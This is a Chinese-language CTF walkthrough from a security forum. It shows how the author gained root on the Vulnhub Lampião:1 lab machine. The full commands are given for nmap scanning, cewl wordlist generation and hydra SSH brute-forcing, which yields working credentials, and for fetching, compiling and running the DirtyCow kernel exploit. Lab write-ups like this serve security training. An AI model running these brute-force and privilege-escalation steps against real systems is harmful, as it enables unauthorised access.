

作者：KarmA@D0g3

记录一下自己的Vulnhub-Lampião: 1 通关过程

背景

你想继续攻击自己的实验室吗？试试这个全新的易受攻击机器！“Lampião1”。

Goal : 得到root权限

Difficulty : easy

Lampião1是一个巴西著名的土匪领袖，flag里面有他的肖像。

信息收集

首先用netdiscover确定靶机ip，再用nmap扫下端口

```
root@karma:~# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.11.131
...
PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 64 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
|   2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
|   256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|_  256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (EdDSA)
80/tcp    open  http?     syn-ack ttl 64
| fingerprint-strings:
|   NULL:
|
|       _ _ _ _
|       |_|| / _ _ _ _ _ _ _ _ _ _
|       \x20| _| / (_| _ _ \x20|_| | _
|       _ _ / _ _ | | _ _ / _ _ | _ , | _ _ / _ _ , ( )
|       | _ _ /
|
|       _ _ _ _ _ _ _ _
|       _ _ ( _ ) | | | | | | |
|       \x20/ _ ` | / _ / _ ` | | | | / _ ` | |
|_  _ _ , | _ _ , _ | | | |
1988/tcp  open  http      syn-ack ttl 64 Apache httpd 2.4.7 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: CF2445DCB53A031C02F9B57E2199BC03
|_http-generator: Drupal 7 (http://drupal.org)
|_http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-robots.txt: 36 disallowed entries (15 shown)
|_ /includes/ /misc/ /modules/ /profiles/ /scripts/
|_ /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
|_ /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_ /LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Lampi\xC3\xA3o
```

[illegible]

```
nmap -A 192.168.88.112
```

```
nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.11.131
```

-n (不用域名解析); -v (打印版本信息); -Pn (不检测主机存活); --reason (显示端口处于带确认状态的原因); -oN (将标准输出直接写入指定的文件); -p- (应该是全部端口都扫一遍)

就一个字符画，有个fi дума egud？不晓得什么意思~~

Durpal

既然80端口没有什么收获，那就来1898端口瞧瞧，看到是Drupal，那就先常规思路走一波

Getshell

网上的都是drupal 7.x 利用PHP filter模块去getshell，但是这里登陆模块似乎用不了？因为注册时激活邮件发不出去，没办法激活，所以这条路看来是走不通了。

SSH爆破

这不是一个纯英文的网站，会不会有可能网站里面的英文是密码提示？？可不可以做个字典爆破一波？

[Cewl](#)了解一下，

默认文章肯定不会有tips，那就弄另一篇生成个字典看看

```
# cewl -w dict.txt http://192.168.11.131:1898/?q=node/1
```

仔细观察，发现还有两个作者（username？？），试试呗~

Lampião, herói ou vilão do Sertão?

Submitted by **tiago** on Thu, 04/19/2018 - 18:25



Para uns, um ídolo. Para outros, assassino. Lampião, uma das figuras mais misteriosas da história a vida sendo temido e idolatrado pelas pessoas que aterrorizava e amparava. Conheça aqui sua trajetória.

[Read more](#) [Log in or register](#)

First article...

Submitted by **Eder** on Fri, 04/20/2018 - 13:55

Just testing..

LuizGonzaga-LampiaoFalou.mp3

Node 2 is not working :(

```
# echo tiago > usernames.txt
# echo eder >> usernames.txt
```

爆破工具[hydra](#)了解一下.....

```
root@karma:~/Desktop# hydra -L usernames.txt -P dict.txt -f -e nsr -t 4 ssh://192.168.11.131
...
[ERROR] ssh target does not support password auth
[22][ssh] host: 192.168.11.131 login: tiago password: Virgulino
[STATUS] attack finished for 192.168.11.131 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
```

先知社区

-t 速度, -e nsr就是把用户名密码换着来爆破

既然搞到账号密码了,赶紧连进去呗。

```
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

* Documentation:  https://help.ubuntu.com/

System information as of Fri Aug 24 11:30:04 BRT 2018

System load:  0.01          Processes:            172
Usage of /:   7.5% of 19.07GB Users logged in:          0
Memory usage: 24%          IP address for eth0: 192.168.11.131
Swap usage:   0%

Graph this data and manage this system at:
https://landscape.canonical.com/
```

先知社区

一个低权限,那就查查内核什么的,看看怎么提权

```
tiago@lampiao:~$ uname -a
Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux
tiago@lampiao:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.5 LTS
Release:        14.04
Codename:       trusty
```

用一个[脚本](#)看看现成的exp有哪些

```
$ wget -q -O /tmp/linux-exploit-suggester.sh https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
$ chmod +x /tmp/linux-exploit-suggester.sh
$ /tmp/linux-exploit-suggester.sh
```

...

[+] [CVE-2016-5195] dirtycow 2

Details: <https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails>

Tags: debian=7|8,RHEL=5|6|7,[ubuntu=14.04|12.04],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}

Download URL: <https://www.exploit-db.com/download/40839>

ext-url: <https://www.exploit-db.com/download/40847.cpp>

Comments: For RHEL/CentOS see exact vulnerable versions here: <https://access.redhat.com/sites/default/files/rh-cve-2016-5195>

dirtycow走你~

```
$ wget -q -O /tmp/40847.cpp https://www.exploit-db.com/download/40847.cpp
```

```
$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
```

```
$ ./dcow -s
```

```
Running ...
```

```
Password overridden to: dirtyCowFun
```

```
Received su prompt (Password: )
```

```
root@lampiao:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
```

```
root@lampiao:~# cp /tmp/.ssh_bak /etc/passwd
```

```
root@lampiao:~# rm /tmp/.ssh_bak
```

```
root@lampiao:~#
```

Root权限到手~

```
root@lampiao:~# cat flag.txt
```

```
9740616875908d91ddcdaa8aea3af366
```

flag里面这一串是什么鬼~

在80端口的根目录发现一个lampiao.jpg

网页上打不开，scp到本地发现下面这幅图

网页上打不开难道是做过手脚？md5不能解密，那就看看这个图是不是flag

```
root@lampiao:/var/www/html# md5sum lampiao.jpg
```

```
9740616875908d91ddcdaa8aea3af366 lampiao.jpg
```

好吧，还真是~著名的Lampião！



总结

1. 条条大路通罗马，套路一定要骚！骚！骚！
2. ssh爆破中的cwl和hydra工具的使用
3. 提权的基本操作

点击收藏 | 0 关注 | 1

[上一篇：JAVA代码审计 | 因酷网校在线...](#) [下一篇：【2018年 网鼎杯CTF 第三场...](#)

1. 2 条回复



[cplx](#) 2018-08-30 14:01:47

你这截图好漂亮~~
咋弄的？用的什么终端啊~

0 回复Ta



[KarmaA](#) 2018-09-01 14:45:22

[@cplx https://github.com/dawnlabs/carbon](#) carbon

0 回复Ta

[登录](#) 后跟帖

[先知社区](#)

[现在登录](#)

[热门节点](#)

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)